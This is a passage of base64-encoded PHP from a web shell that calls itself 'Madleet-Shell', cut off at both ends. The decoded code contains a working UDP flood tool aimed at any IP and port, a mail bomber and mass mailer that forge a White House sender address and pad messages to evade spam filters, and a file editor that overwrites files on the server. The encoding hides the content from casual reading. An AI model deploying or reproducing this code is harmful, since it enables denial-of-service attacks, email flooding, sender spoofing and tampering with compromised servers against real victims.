AKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBObyBvZiB0aW1lcyAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIgLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBNZXNzYWdlIDxmb250IGNvbG9yPSJyZWQiPihUaGUgbWVzc2FnZSBTaG91bGQgYmUgbG9uZyBhbmQgaXQgd2lsbCBiZSBtdWx0aXBsaWVkIHdpdGggdGhlIHZhbHVlIGFmdGVyIGl0KTwvZm9udD4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2UiIHZhbHVlPSIlUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJyVTJXgtLVNvbWUgR2FyYmFnZSBoZXJlIC0tJXglUycpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSclUyV4LS1Tb21lIEdhcmJhZ2UgaGVyZSAtLSV4JVMnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICB4IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iMjAiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJ3aWR0aDogMzBweDsiIGNsYXNzPSJjbWQiIG5hbWU9Im1lc3NhZ2VNdWx0aXBsaWVyIiB2YWx1ZT0iMTAiIC8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy9ERG9zIAoKZWxzZSBpZihpc3NldCgkX0dFVFsnZG9zJ10pKSAKeyAKICAgIGlmKGlzc2V0KCRfR0VUWydpcCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWydleFRpbWUnXSkgJiYgCiAgICBpc3NldCgkX0dFVFsncG9ydCddKSAmJiAKICAgIGlzc2V0KCRfR0VUWyd0aW1lb3V0J10pICYmIAogICAgaXNzZXQoJF9HRVRbJ2V4VGltZSddKSAmJiAKICAgICRfR0VUWydleFRpbWUnXSAhPSAiIiAmJiAKICAgICRfR0VUWydwb3J0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnaXAnXSAhPSAiIiAmJiAKICAgICRfR0VUWyd0aW1lb3V0J10gIT0gIiIgJiYgCiAgICAkX0dFVFsnZXhUaW1lJ10gIT0gIiIgCiAgICApIAogICAgeyAKICAgICAgICRJUD0kX0dFVFsnaXAnXTsgCiAgICAgICAkcG9ydD0kX0dFVFsncG9ydCddOyAKICAgICAgICRleGVjdXRpb25UaW1lID0gJF9HRVRbJ2V4VGltZSddOyAKICAgICAgICRub09mQnl0ZXMgPSAkX0dFVFsnbm9PZkJ5dGVzJ107IAogICAgICAgJGRhdGEgPSAiIjsgCiAgICAgICAkdGltZW91dCA9ICRfR0VUWyd0aW1lb3V0J107IAogICAgICAgJHBhY2tldHMgPSAwOyAKICAgICAgICRjb3VudGVyID0gJG5vT2ZCeXRlczsgCiAgICAgICAkbWF4VGltZSA9IHRpbWUoKSArICRleGVjdXRpb25UaW1lOzsgCiAgICAgICB3aGlsZSgkY291bnRlci0tKSAKICAgICAgIHsgCiAgICAgICAgICAgICRkYXRhIC49ICJYIjsgCiAgICAgICB9IAogICAgICAgJGRhdGEgLj0gIi1ieS1NYWRsZWV0LVNoZWxsIjsgIAogICAgICAgcHJpbnQgIkkgYW0gYXQgbWEgV29yayBub3cgOkQgO0QhIERvbnQgY2xvc2UgdGhpcyB3aW5kb3cgdW50aWxsIHlvdSByZWNpZXZlIGEgbWVzc2FnZSA8YnI+IjsgCiAgICAgICAgCiAgICAgICB3aGlsZSgxKSAKICAgICAgIHsgCiAgICAgICAgICAgICRzb2NrZXQgPSBmc29ja29wZW4oInVkcDovLyRJUCIsICRwb3J0LCAkZXJyb3IsICRlcnJvclN0cmluZywgJHRpbWVvdXQpOyAKICAgICAgICAgICAgaWYoJHNvY2tldCkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBmd3JpdGUoJHNvY2tldCAsICRkYXRhKTsgCiAgICAgICAgICAgICAgICBmY2xvc2UoJHNvY2tldCk7IAogICAgICAgICAgICAgICAgJHBhY2tldHMrKzsgCiAgICAgICAgICAgIH0gCiAgICAgICAgICAgIGlmKHRpbWUoKSA+PSAkbWF4VGltZSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBlY2hvICI8c2NyaXB0PmFsZXJ0KCdERG9zIENvbXBsZXRlZCEnKTs8L3NjcmlwdD4iOyAKICAgICAgICBlY2hvICJET1MgYXR0YWNrIGFnYWluc3QgdWRwOi8vJElQOiRwb3J0IGNvbXBsZXRlZCBvbiAiLmRhdGUoImg6aTpzIEEiKS4iPGJyIC8+IjsgCiAgICAgICAgZWNobyAiVG90YWwgTnVtYmVyIG9mIFBhY2tldHMgU2VudCA6ICIgLiAkcGFja2V0cyAuICI8YnIgLz4iOyAKICAgICAgICBlY2hvICJUb3RhbCBEYXRhIFNlbnQgPSAiLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJHBhY2tldHMqJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgIAogICAgICAgIGVjaG8gIkRhdGEgcGVyIHBhY2tldCA9ICIgLiBIdW1hblJlYWRhYmxlRmlsZXNpemUoJG5vT2ZCeXRlcykgLiAiPGJyIC8+IjsgCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZG9zIiAvPiAKICAgICAgICAgICAgPHRhYmxlIGlkPSJtYXJnaW5zIj4gCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCB3aWR0aD0iNDAwIiBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgSVAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9ImlwIiB2YWx1ZT0iMTI3LjAuMC4xIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMjcuMC4wLjEnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nMTI3LjAuMC4xJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBQb3J0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJwb3J0IiB2YWx1ZT0iODAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzgwJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9JzgwJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUaW1lb3V0IDxmb250IGNvbG9yPSJyZWQiPihUaW1lIGluIHNlY29uZHMpPC9mb250PiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0idGltZW91dCIgdmFsdWU9IjUiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzUnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nNSc7IiAvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIEV4ZWN1dGlvbiBUaW1lIDxmb250IGNvbG9yPSJyZWQiPihUaW1lIGluIHNlY29uZHMpPC9mb250PiAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9ImV4VGltZSIgdmFsdWU9IjEwIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICcxMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMCc7Ii8+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCBjbGFzcz0idGl0bGUiPiAKICAgICAgICAgICAgICAgICAgICAgICAgTm8gb2YgQnl0ZXMgcGVyL3BhY2tldCAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgY2xhc3M9ImNtZCIgbmFtZT0ibm9PZkJ5dGVzIiB2YWx1ZT0iOTk5OTk5IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICc5OTk5OTknKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0nOTk5OTk5JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDUwMHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iTGV0IGl0IFJpcCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgovLyBNYWlsIEJvbWJlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2JvbWInXSkpIAp7IAogICAgaWYoIAogICAgICAgIGlzc2V0KCRfR0VUWyd0byddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnbWVzc2FnZSddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsndGltZXMnXSkgJiYgCiAgICAgICAgJF9HRVRbJ3RvJ10gIT0gJycgJiYgCiAgICAgICAgJF9HRVRbJ3N1YmplY3QnXSAhPSAnJyAmJiAKICAgICAgICAkX0dFVFsnbWVzc2FnZSddICE9ICcnICYmIAogICAgICAgICRfR0VUWyd0aW1lcyddICE9ICcnIAogICAgKSAKICAgIHsgCiAgICAgICAgJHRpbWVzID0gJF9HRVRbJ3RpbWVzJ107IAogICAgICAgIHdoaWxlKCR0aW1lcy0tKSAKICAgICAgICB7IAogICAgICAgICAgICBpZihpc3NldCgkX0dFVFsncGFkZGluZyddKSkgCiAgICAgICAgICAgIHsgCiAgICAgICAgICAgICAgICAkZnJvbVBhZGQgPSByYW5kKDAsOTk5OSk7IAogICAgICAgICAgICAgICAgJHN1YmplY3RQYWRkID0gIiAtLSBJRCA6ICIucmFuZCgwLDk5OTk5OTkpOyAKICAgICAgICAgICAgICAgICRtZXNzYWdlUGFkZCA9ICJcblxuLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tXG4iLnJhbmQoMCw5OTk5OTk5OSk7IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICB9IAogICAgICAgICAgICAkZnJvbSA9ICJwcmVzaWRlbnQkZnJvbVBhZGRAd2hpdGVob3VzZS5nb3YiOyAKICAgICAgICAgICAgaWYoIW1haWwoJF9HRVRbJ3RvJ10sJF9HRVRbJ3N1YmplY3QnXS4kc3ViamVjdFBhZGQsJF9HRVRbJ21lc3NhZ2UnXS4kbWVzc2FnZVBhZGQsIkZyb206Ii4kZnJvbSkpIAogICAgICAgICAgICB7IAogICAgICAgICAgICAgICAgJGVycm9yID0gMTsgCiAgICAgICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPlNvbWUgRXJyb3IgT2NjdXJlZCE8L3A+IjsgCiAgICAgICAgICAgICAgICBicmVhazsgCiAgICAgICAgICAgIH0gCiAgICAgICAgfSAKICAgICAgICBpZigkZXJyb3IgIT0gMSkgCiAgICAgICAgeyAKICAgICAgICAgICAgZWNobyAiPHAgY2xhc3M9J2FsZXJ0Jz5NYWlsKHMpIFNlbnQhPC9wPiI7IAogICAgICAgIH0gCiAgICB9IAogICAgZWxzZSAKICAgIHsgCiAgICAgICAgPz4gCiAgICAgICAgPGZvcm0gbWV0aG9kPSJHRVQiPiAKICAgICAgICAgICAgPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYm9tYiIgLz4gCiAgICAgICAgICAgIDx0YWJsZSBpZD0ibWFyZ2lucyI+IAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIFRvICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idG8iIHZhbHVlPSJ2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20iIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJ3ZpY3RpbUBkb21haW4uY29tLHZpY3RpbTJAZG9tYWluLmNvbScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQgY2xhc3M9InRpdGxlIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIFN1YmplY3QgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InRleHQiIGNsYXNzPSJjbWQiIG5hbWU9InN1YmplY3QiIHZhbHVlPSJKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJyl0aGlzLnZhbHVlID0gJyc7IiBvbmJsdXI9ImlmKHRoaXMudmFsdWU9PScnKXRoaXMudmFsdWU9J0p1c3QgdGVzdGluZyBteSBGdWNraW5nIFNraWxseiEnOyIgLz4KICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBOby4gb2YgVGltZXMgICAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgY2xhc3M9ImNtZCIgbmFtZT0idGltZXMiIHZhbHVlPSIxMDAiIG9uZm9jdXM9ImlmKHRoaXMudmFsdWUgPT0gJzEwMCcpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPScxMDAnOyIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgIAogICAgICAgICAgICAgICAgPHRyPiAKICAgICAgICAgICAgICAgICAgICA8dGQ+IAogICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIFBhZCB5b3VyIG1lc3NhZ2UgKExlc3Mgc3BhbSBkZXRlY3Rpb24pIAogICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJjaGVja2JveCIgbmFtZT0icGFkZGluZyIvPiAKICAgICAgICAgICAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPk1hZGxlZXQtU2hlbGwgUm9ja3MhITwvdGV4dGFyZWE+IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgPC90cj4gCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICAgCiAgICAgICAgICAgICAgICA8dHI+IAogICAgICAgICAgICAgICAgICAgIDx0ZCByb3dzcGFuPSIyIj4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBzdHlsZT0ibWFyZ2luIDogMjBweDsgbWFyZ2luLWxlZnQ6IDM5MHB4OyBwYWRkaW5nIDogMTBweDsgd2lkdGg6IDEwMHB4OyIgdHlwZT0ic3VibWl0IiBjbGFzcz0ib3duIiB2YWx1ZT0iU2VuZCEgOkQiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgPC90YWJsZT4gICAgICAgICAgICAgCiAgICAgICAgPC9mb3JtPiAgICAKICAgICAgICA8P3BocCAKICAgIH0gCn0gCgoKLy9NYXNzIE1haWxlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ21haWwnXSkpIAp7IAogICAgaWYoIAogICAgICAgIGlzc2V0KCRfR0VUWyd0byddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnZnJvbSddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnc3ViamVjdCddKSAmJiAKICAgICAgICBpc3NldCgkX0dFVFsnbWVzc2FnZSddKSAKICAgICkgCiAgICB7IAoKICAgICAgICBpZihtYWlsKCRfR0VUWyd0byddLCRfR0VUWydzdWJqZWN0J10sJF9HRVRbJ21lc3NhZ2UnXSwiRnJvbToiLiRfR0VUWydmcm9tJ10pKSAKICAgICAgICB7IAogICAgICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPk1haWwgU2VudCE8L3A+IjsgCiAgICAgICAgfSAKICAgICAgICBlbHNlIAogICAgICAgIHsgCiAgICAgICAgICAgIGVjaG8gIjxwIGNsYXNzPSdhbGVydCc+U29tZSBFcnJvciBPY2N1cmVkITwvcD4iOyAKICAgICAgICB9IAogICAgfSAKICAgIGVsc2UgCiAgICB7IAogICAgICAgID8+IAogICAgICAgIDxmb3JtIG1ldGhvZD0iR0VUIj4gCiAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9Im1haWwiIC8+IAogICAgICAgICAgICA8dGFibGUgaWQ9Im1hcmdpbnMiPiAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHdpZHRoPSIxMDAiIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBGcm9tIAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCBjbGFzcz0iY21kIiBuYW1lPSJmcm9tIiB2YWx1ZT0icHJlc2lkZW50QHdoaXRlaG91c2UuZ292IiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICdwcmVzaWRlbnRAd2hpdGVob3VzZS5nb3YnKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ncHJlc2lkZW50QHdoaXRlaG91c2UuZ292JzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBUbyAgCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICAgICAgPHRkPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IGNsYXNzPSJjbWQiIG5hbWU9InRvIiB2YWx1ZT0idmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tIiBvbmZvY3VzPSJpZih0aGlzLnZhbHVlID09ICd2aWN0aW1AZG9tYWluLmNvbSx2aWN0aW0yQGRvbWFpbi5jb20nKXRoaXMudmFsdWUgPSAnJzsiIG9uYmx1cj0iaWYodGhpcy52YWx1ZT09JycpdGhpcy52YWx1ZT0ndmljdGltQGRvbWFpbi5jb20sdmljdGltMkBkb21haW4uY29tJzsiLz4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNsYXNzPSJ0aXRsZSI+IAogICAgICAgICAgICAgICAgICAgICAgICBTdWJqZWN0IAogICAgICAgICAgICAgICAgICAgIDwvdGQ+IAogICAgICAgICAgICAgICAgICAgIDx0ZD4gCiAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlPSJ0ZXh0IiBjbGFzcz0iY21kIiBuYW1lPSJzdWJqZWN0IiB2YWx1ZT0iSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6ISIgb25mb2N1cz0iaWYodGhpcy52YWx1ZSA9PSAnSnVzdCB0ZXN0aW5nIG15IEZ1Y2tpbmcgU2tpbGx6IScpdGhpcy52YWx1ZSA9ICcnOyIgb25ibHVyPSJpZih0aGlzLnZhbHVlPT0nJyl0aGlzLnZhbHVlPSdKdXN0IHRlc3RpbmcgbXkgRnVja2luZyBTa2lsbHohJzsiIC8+CiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIGNvbHNwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPHRleHRhcmVhIG5hbWU9Im1lc3NhZ2UiIGNvbHM9IjE3MyIgcm93cz0iMTAiIGNsYXNzPSJjbWQiPkFsbCBpIHJlbWVtYmVyIGFyZSB0aG9zZSBsb25lbHkgbmlnaHRzIHdoZW4gaSB3YXMgZGVmYWNpbmcgdGhvc2UgaW5zZWN1cmUgd2Vic2l0ZXMhPC90ZXh0YXJlYT4gCiAgICAgICAgICAgICAgICAgICAgPC90ZD4gCiAgICAgICAgICAgICAgICA8L3RyPiAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgICAKICAgICAgICAgICAgICAgIDx0cj4gCiAgICAgICAgICAgICAgICAgICAgPHRkIHJvd3NwYW49IjIiPiAKICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJtYXJnaW4gOiAyMHB4OyBtYXJnaW4tbGVmdDogMzkwcHg7IHBhZGRpbmcgOiAxMHB4OyB3aWR0aDogMTAwcHg7IiB0eXBlPSJzdWJtaXQiIGNsYXNzPSJvd24iIHZhbHVlPSJTZW5kISA6RCIvPiAKICAgICAgICAgICAgICAgICAgICA8L3RkPiAKICAgICAgICAgICAgICAgIDwvdHI+IAogICAgICAgICAgICA8L3RhYmxlPiAgICAgICAgICAgICAKICAgICAgICA8L2Zvcm0+ICAgIAogICAgICAgIDw/cGhwIAogICAgfSAKfSAKCgovLyBFZGl0IEZpbGUgCgplbHNlIGlmKGlzc2V0KCRfUE9TVFsnZmlsZSddKSAmJiAKICAgICAgICBpc3NldCgkX1BPU1RbJ2NvbnRlbnQnXSkgKSAKeyAKICAgIGlmKGlzX2RpcigkX1BPU1RbJ2ZpbGUnXSkpIAogICAgeyAKICAgICAgICBoZWFkZXIoImxvY2F0aW9uOiIuJHNlbGYuIj9kaXI9Ii4kX1BPU1RbJ2ZpbGUnXSk7IAogICAgfSAKICAgIGlmKGZpbGVfZXhpc3RzKCRfUE9TVFsnZmlsZSddKSkgCiAgICB7IAogICAgICAgICRoYW5kbGUgPSBmb3BlbigkX1BPU1RbJ2ZpbGUnXSwidyIpOyAKICAgICAgICBmd3JpdGUoJGhhbmRsZSwkX1BPU1RbJ2NvbnRlbnQnXSk7IAogICAgICAgIGVjaG8gIllvdXIgY2hhbmdlcyB3ZXJlIFN1Y2Nlc3NmdWxseSBTYXZlZCEiOyAKICAgIH0gCiAgICBlbHNlIAogICAgeyAKICAgICAgICBlY2hvICI8cCBjbGFzcz0nYWxlcnQnPkZpbGUgTmFtZSBTcGVjaWZpZWQgZG9lcyBub3QgZXhpc3RzITwvcD4iOyAKICAgIH0gCn0gCgovLyBQSFAgZGVjb2RlciAKCmVsc2UgaWYoaXNzZXQoJF9HRVRbJ2RlY29kZSddKSkgCnsgCiAgICAkY29udGVudCA9ICIiOyAKICAgIGlmKGlzc2V